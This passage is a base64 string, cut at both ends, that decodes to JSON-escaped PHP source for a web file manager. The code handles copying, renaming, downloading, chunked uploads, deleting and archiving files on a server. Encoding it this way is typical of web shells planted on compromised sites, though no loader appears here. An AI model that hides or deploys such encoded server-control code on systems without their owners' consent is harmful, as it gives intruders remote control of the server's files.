W1lID09PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY29weSgkZnJvbSwgJGRlc3QpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzKys7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCRlcnJvcnMgPT0gMCkge1xuICAgICAgICAgICAgJG1zZyA9ICRtb3ZlID8gJ1NlbGVjdGVkIGZpbGVzIGFuZCBmb2xkZXJzIG1vdmVkJyA6ICdTZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycyBjb3BpZWQnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAkbW92ZSA/ICdFcnJvciB3aGlsZSBtb3ZpbmcgaXRlbXMnIDogJ0Vycm9yIHdoaWxlIGNvcHlpbmcgaXRlbXMnO1xuICAgICAgICAgICAgZm1fc2V0X21zZygkbXNnLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydyZW5hbWVfZnJvbSddLCAkX1BPU1RbJ3JlbmFtZV90byddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKFwiSW52YWxpZCBUb2tlbi5cIiwgJ2Vycm9yJyk7XG4gICAgICAgIGRpZShcIkludmFsaWQgVG9rZW4uXCIpO1xuICAgIH1cbiAgICAkb2xkID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX2Zyb20nXSk7XG4gICAgJG9sZCA9IGZtX2NsZWFuX3BhdGgoJG9sZCk7XG4gICAgJG9sZCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkb2xkKTtcbiAgICAkbmV3ID0gdXJsZGVjb2RlKCRfUE9TVFsncmVuYW1lX3RvJ10pO1xuICAgICRuZXcgPSBmbV9jbGVhbl9wYXRoKHN0cmlwX3RhZ3MoJG5ldykpO1xuICAgICRuZXcgPSBzdHJfcmVwbGFjZSgnXC8nLCAnJywgJG5ldyk7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuICAgIGlmIChmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRuZXcpICYmICRvbGQgIT0gJycgJiYgJG5ldyAhPSAnJykge1xuICAgICAgICBpZiAoZm1fcmVuYW1lKCRwYXRoIC4gJ1wvJyAuICRvbGQsICRwYXRoIC4gJ1wvJyAuICRuZXcpKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdSZW5hbWVkIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIGZtX3NldF9tc2coc3ByaW50ZihsbmcoJ0Vycm9yIHdoaWxlIHJlbmFtaW5nIGZyb20nKSAuICcgPGI+JXM8XC9iPiAnIC4gbG5nKCd0bycpIC4gJyA8Yj4lczxcL2I+JywgZm1fZW5jKCRvbGQpLCBmbV9lbmMoJG5ldykpLCAnZXJyb3InKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdJbnZhbGlkIGNoYXJhY3RlcnMgaW4gZmlsZSBuYW1lJyksICdlcnJvcicpO1xuICAgIH1cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2RsJ10sICRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICBpZiAoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhcIkludmFsaWQgVG9rZW4uXCIsICdlcnJvcicpO1xuICAgICAgICBleGl0O1xuICAgIH1cblxuICAgICRkbCA9IHVybGRlY29kZSgkX0dFVFsnZGwnXSk7XG4gICAgJGRsID0gZm1fY2xlYW5fcGF0aCgkZGwpO1xuICAgICRkbCA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZGwpO1xuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgaWYgKCRkbCAhPSAnJyAmJiBpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRkbCkpIHtcbiAgICAgICAgaWYgKHNlc3Npb25fc3RhdHVzKCkgPT09IFBIUF9TRVNTSU9OX0FDVElWRSkge1xuICAgICAgICAgICAgc2Vzc2lvbl93cml0ZV9jbG9zZSgpO1xuICAgICAgICB9XG5cbiAgICAgICAgZm1fZG93bmxvYWRfZmlsZSgkcGF0aCAuICdcLycgLiAkZGwsICRkbCwgMTAyNCk7XG4gICAgICAgIGV4aXQ7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG59XG5cbmlmICghZW1wdHkoJF9GSUxFUykgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3RhdHVzJyA9PiAnZXJyb3InLCAnaW5mbycgPT4gXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdGF0dXMnID0+ICdlcnJvcicsICdpbmZvJyA9PiBcIlRva2VuIE1pc3NpbmcuXCIpO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkY2h1bmtJbmRleCA9ICRfUE9TVFsnZHpjaHVua2luZGV4J107XG4gICAgJGNodW5rVG90YWwgPSAkX1BPU1RbJ2R6dG90YWxjaHVua2NvdW50J107XG4gICAgJGZ1bGxQYXRoSW5wdXQgPSBmbV9jbGVhbl9wYXRoKCRfUkVRVUVTVFsnZnVsbHBhdGgnXSk7XG5cbiAgICAkZiA9ICRfRklMRVM7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgJGRzID0gRElSRUNUT1JZX1NFUEFSQVRPUjtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkdXBsb2FkcyA9IDA7XG4gICAgJGFsbG93ZWQgPSAoRk1fVVBMT0FEX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fVVBMT0FEX0VYVEVOU0lPTikgOiBmYWxzZTtcbiAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJyxcbiAgICAgICAgJ2luZm8nICAgPT4gJ09vcHMhIFRyeSBhZ2FpbidcbiAgICApO1xuXG4gICAgJGZpbGVuYW1lID0gJGZbJ2ZpbGUnXVsnbmFtZSddO1xuICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107XG4gICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRklMRU5BTUUpICE9ICcnID8gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpIDogJyc7XG4gICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTtcblxuICAgIGlmICghZm1faXN2YWxpZF9maWxlbmFtZSgkZmlsZW5hbWUpICYmICFmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRmdWxsUGF0aElucHV0KSkge1xuICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkludmFsaWQgRmlsZSBuYW1lIVwiLFxuICAgICAgICApO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkdGFyZ2V0UGF0aCA9ICRwYXRoIC4gJGRzO1xuICAgIGlmIChpc193cml0YWJsZSgkdGFyZ2V0UGF0aCkpIHtcbiAgICAgICAgJGZ1bGxQYXRoID0gJHBhdGggLiAnXC8nIC4gJGZ1bGxQYXRoSW5wdXQ7XG4gICAgICAgICRmb2xkZXIgPSBzdWJzdHIoJGZ1bGxQYXRoLCAwLCBzdHJycG9zKCRmdWxsUGF0aCwgXCJcL1wiKSk7XG5cbiAgICAgICAgaWYgKCFpc19kaXIoJGZvbGRlcikpIHtcbiAgICAgICAgICAgICRvbGQgPSB1bWFzaygwKTtcbiAgICAgICAgICAgIG1rZGlyKCRmb2xkZXIsIDA3NzcsIHRydWUpO1xuICAgICAgICAgICAgdW1hc2soJG9sZCk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoZW1wdHkoJGZbJ2ZpbGUnXVsnZXJyb3InXSkgJiYgIWVtcHR5KCR0bXBfbmFtZSkgJiYgJHRtcF9uYW1lICE9ICdub25lJyAmJiAkaXNGaWxlQWxsb3dlZCkge1xuICAgICAgICAgICAgaWYgKCRjaHVua1RvdGFsKSB7XG4gICAgICAgICAgICAgICAgJG91dCA9IEBmb3BlbihcInskZnVsbFBhdGh9LnBhcnRcIiwgJGNodW5rSW5kZXggPT0gMCA/IFwid2JcIiA6IFwiYWJcIik7XG4gICAgICAgICAgICAgICAgaWYgKCRvdXQpIHtcbiAgICAgICAgICAgICAgICAgICAgJGluID0gQGZvcGVuKCR0bXBfbmFtZSwgXCJyYlwiKTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCRpbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OX0lEIDwgODAwMDkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbyB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoOzspIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWZmID0gZnJlYWQoJGluLCA0MDk2KTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYnVmZiA9PT0gZmFsc2UgfHwgJGJ1ZmYgPT09ICcnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJG91dCwgJGJ1ZmYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoIWZlb2YoJGluKSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmVhbV9jb3B5X3RvX3N0cmVhbSgkaW4sICRvdXQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiBcImZpbGUgdXBsb2FkIHN1Y2Nlc3NmdWxcIlxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+IFwiZmFpbGVkIHRvIG9wZW4gb3V0cHV0IHN0cmVhbVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdlcnJvckRldGFpbHMnID0+IGVycm9yX2dldF9sYXN0KClcbiAgICAgICAgICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaW4pO1xuICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRvdXQpO1xuICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBfbmFtZSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICBpZiAoJGNodW5rSW5kZXggPT0gJGNodW5rVG90YWwgLSAxKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXh0XzEgPSAkZXh0ID8gJy4nIC4gJGV4dCA6ICcnO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxQYXRoVGFyZ2V0ID0gJHBhdGggLiAnXC8nIC4gYmFzZW5hbWUoJGZ1bGxQYXRoSW5wdXQsICRleHRfMSkgLiAnXycgLiBkYXRlKCd5bWRIaXMnKSAuICRleHRfMTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aFRhcmdldCA9ICRmdWxsUGF0aDtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICByZW5hbWUoXCJ7JGZ1bGxQYXRofS5wYXJ0XCIsICRmdWxsUGF0aFRhcmdldCk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmdWxsUGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgICA9PiAnQ291bGRuXFwndCB1cGxvYWQgdGhlIHJlcXVlc3RlZCBmaWxlLidcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnZXJyb3InLFxuICAgICAgICAgICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkVycm9yIHdoaWxlIHVwbG9hZGluZyBmaWxlcy4gVXBsb2FkZWQgZmlsZXMgJHVwbG9hZHNcIixcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLFxuICAgICAgICAgICAgJ2luZm8nICAgPT4gJ1RoZSBzcGVjaWZpZWQgZm9sZGVyIGZvciB1cGxvYWQgaXNuXFwndCB3cml0ZWFibGUuJ1xuICAgICAgICApO1xuICAgIH1cbiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgZXhpdCgpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ2RlbGV0ZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSAmJiBjb3VudCgkZmlsZXMpKSB7XG4gICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7XG4gICAgICAgICAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlciBkZWxldGVkJykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJyksICdlcnJvcicpO1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7XG4gICAgfVxuXG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZ3JvdXAnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAoaXNzZXQoJF9QT1NUWyd6aXAnXSkgfHwgaXNzZXQoJF9QT1NUWyd0YXInXSkpICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAkZXh0ID0gJ3ppcCc7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGV4dCA9IGlzc2V0KCRfUE9TVFsndGFyJ10pID8gJ3RhcicgOiAnemlwJztcblxuICAgIGlmICgoJGV4dCA9PSBcInppcFwiICYmICFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgfHwgKCRleHQgPT0gXCJ0YXJcIiAmJiAhY2xhc3NfZXhpc3RzKCdQaGFyRGF0YScpKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICAkc2FuaXRpemVkX2ZpbGVzID0gYXJyYXkoKTtcblxuICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkge1xuICAgICAgICBhcnJheV9wdXNoKCRzYW5pdGl6ZWRfZmlsZXMsIGZtX2NsZWFuX3BhdGgoJGZpbGUpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkc2FuaXRpemVkX2ZpbGVzO1xuXG4gICAgaWYgKCFlbXB0eSgkZmlsZXMpKSB7XG4gICAgICAgIGNoZGlyKCRwYXRoKTtcblxuICAgICAgICBpZiAoY291bnQoJGZpbGVzKSA9PSAxKSB7XG4gICAgICAgICAgICAkb25lX2ZpbGUgPSByZXNldCgkZmlsZXMpO1xuICAgICAgICAgICAgJG9uZV9maWxlID0gYmFzZW5hbWUoJG9uZV9maWxlKTtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJG9uZV9maWxlIC4gJ18nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nIC4gJGV4dDtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJ2FyY2hpdmVfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJyAuICRleHQ7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSAnemlwJykge1xuICAgICAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInKSB7XG4gICAgICAgICAgICAkdGFyID0gbmV3IEZNX1ppcHBlcl9UYXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkdGFyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQXJjaGl2ZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCR6aXBuYW1lKSkpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IGNyZWF0ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWyd1bnppcCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTtcbiAgICAkdW56aXAgPSBmbV9jbGVhbl9wYXRoKCR1bnppcCk7XG4gICAgJHVuemlwID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICR1bnppcCk7XG4gICAgJGlzVmFsaWQgPSBmYWxzZTtcblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cblxuICAgIGlmICgkdW56aXAgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkdW56aXApKSB7XG4gICAgICAgICR6aXBfcGF0aCA9ICRwYXRoIC4gJ1wvJyAuICR1bnppcDtcbiAgICAgICAgJGV4dCA9IHBhdGhpbmZvKCR6aXBfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKTtcbiAgICAgICAgJGlzVmFsaWQgPSB0cnVlO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICBpZiAoKCRleHQgPT0gXCJ6aXBcIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09IFwidGFyXCIgJiYgIWNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgaWYgKCRpc1ZhbGlkKSB7XG4gICAgICAgICR0b2ZvbGRlciA9ICcnO1xuICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd0b2ZvbGRlciddKSkge1xuICAgICAgICAgICAgJHRvZm9sZGVyID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJHRvZm9sZGVyLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiAkdG9mb2xkZXI7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSBcInppcFwiKSB7XG4gICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpO1xuICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPnVuemlwKCR6aXBfcGF0aCwgJHBhdGgpO1xuICAgICAgICB9IG